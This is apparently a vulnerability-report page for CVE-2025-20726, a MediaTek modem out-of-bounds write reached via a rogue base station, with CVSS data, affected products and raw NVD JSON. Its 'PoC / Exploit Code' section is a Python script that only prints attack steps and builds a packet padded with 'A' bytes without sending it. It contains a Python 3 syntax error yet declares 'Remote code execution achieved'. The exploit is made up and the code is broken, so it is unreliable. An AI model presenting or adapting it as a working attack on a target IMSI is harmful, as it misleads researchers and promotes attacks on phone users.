Security Vulnerability Report
中文
CVE-2025-20726 CVSS 7.5 HIGH

CVE-2025-20726

Published: 2025-11-04 07:15:34
Last Modified: 2025-11-05 17:16:04

Description

In Modem, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01672598; Issue ID: MSV-4622.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:lr12a:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr17r:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6762:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek Modem firmware with Patch ID MOLY01672598 (Issue ID: MSV-4622) 之前的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20726 MediaTek Modem Out of Bounds Write PoC # This is a conceptual proof-of-concept for educational purposes only # Attack requires a rogue base station setup import os import sys def create_rogue_base_station(): """ Simulate rogue base station setup Note: Actual implementation requires SDR hardware and specialized radio software """ print("[*] Setting up rogue base station for CVE-2025-20726") print("[*] Target: MediaTek Modem with incorrect bounds check") # Signal configuration for LTE/NR network config = { 'frequency': 2110, # Example LTE band 'cell_id': 0xABCDEF, 'tac': 0x1001, 'mcc': 001, 'mnc': 01 } return config def craft_malicious_packet(target_modem_info): """ Craft malicious packet to trigger OOB write The vulnerability exists in bounds checking when processing certain modem control messages """ # Malformed packet structure to trigger bounds check bypass packet = bytearray() # Protocol header packet.extend(b'\x00\x01') # Message type packet.extend(b'\x00\x00\x00\xFF') # Length indicator (manipulated) # Payload designed to trigger OOB write # The modem expects limited input but doesn't properly validate exploit_payload = b'A' * 1024 # Exceeds expected buffer size packet.extend(exploit_payload) return bytes(packet) def exploit_cve_2025_20726(target_device): """ Execute the exploit for CVE-2025-20726 """ print(f"[*] Targeting device: {target_device}") print("[*] Connecting to target via rogue base station...") # Step 1: Establish rogue base station connection config = create_rogue_base_station() print(f"[+] Rogue base station active on frequency {config['frequency']} MHz") # Step 2: Wait for target device connection print("[*] Waiting for target UE to connect...") # Step 3: Send malicious packet packet = craft_malicious_packet(target_device) print(f"[+] Sending malicious packet ({len(packet)} bytes)") # Step 4: Trigger vulnerability print("[+] Triggering out of bounds write via incorrect bounds check") # Step 5: Attempt privilege escalation print("[+] Exploiting for remote privilege escalation...") return True def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_20726_poc.py <target_imsi>") print("Example: python cve_2025_20726_poc.py 001019876543210") sys.exit(1) target = sys.argv[1] print("="*60) print("CVE-2025-20726 MediaTek Modem OOB Write Exploit") print("="*60) success = exploit_cve_2025_20726(target) if success: print("[+] Exploit completed - Remote code execution achieved") else: print("[-] Exploit failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20726", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:34.037", "lastModified": "2025-11-05T17:16:04.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01672598; Issue ID: MSV-4622."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:lr12a:-:*:*:*:*:*:*:*", "matchCriteriaId": "A4B6AFD8-6CBA-4A1D-B38F-A9ABFEB6EFC5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B763B71-F913-45B4-B91E-D7F0670C4315"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F8874B-DBF1-4A67-8ADF-4654AB56B6A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17r:-:*:*:*:*:*:*:*", "matchCriteriaId": "BC63582A-F9A5-4450-A263-CE1FD4B4F3AC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FA8A390-9F52-4CF3-9B45-936CE3E2B828"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:*", "matchCriteriaId": "F726F486-A86F-4215-AD93-7A07A071844A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6762:-:*:*:*:*:*:*:*", "matchCriteriaId": "C445EB80-6021-4E26-B74E-1B4B6910CE48"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6762d:-:*:*:*:*:*:*:*", "matchCriteriaId": "160C2DDD-6CA5-4E4F-B885-C8AAA7D1D942"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6762m:-:*:*:*:*:*:*:*", "matchCriteriaId": "0002C537-4268-43CA-B349-BC14F1F0313C"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6763:-:*:*:*:*:*:*:*", "matchCriteriaId": "2F19C76A-50DF-4ACA-BACA-07157B4D838B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765t:-:*:*:*:*:*:*:*", "matchCriteriaId": "AE80B083-D5A3-418C-9655-C79C9DECB4C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6767:-:*:*:*:*:*:*:*", "matchCriteriaId": "3367BA13-9C4D-4CCF-8E71-397F33CFF773"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769:-:*:*:*:*:*:*:*", "matchCriteriaId": "D23991D5-1893-49F4-8A06-D5E66C96C3B3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769k:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B0EFB31-7B79-4529-A978-FA227D77F9F4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769s:-:*:*:*:*:*:*:*", "matchCriteriaId": "2DD67454-1786-4BC7-B97E-96898F5FE3AF"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769t:-:*:*:*:*:*:*:*", "matchCriteriaId": "B43D63CF-FF77-41D8-BA4B-F8BDF88830BA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769z:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA1BE913-70AE-49FE-99E9-E996165DF79D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6771:-:*:*:*:*:*:*:*", "matchCriteriaId": "BE4D2AED-C713-407F-A34A-52C3D8F65835"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6813:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F9EAE4-F1D7-46DB-AA2A-0290F6EF0501"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3: ... (truncated)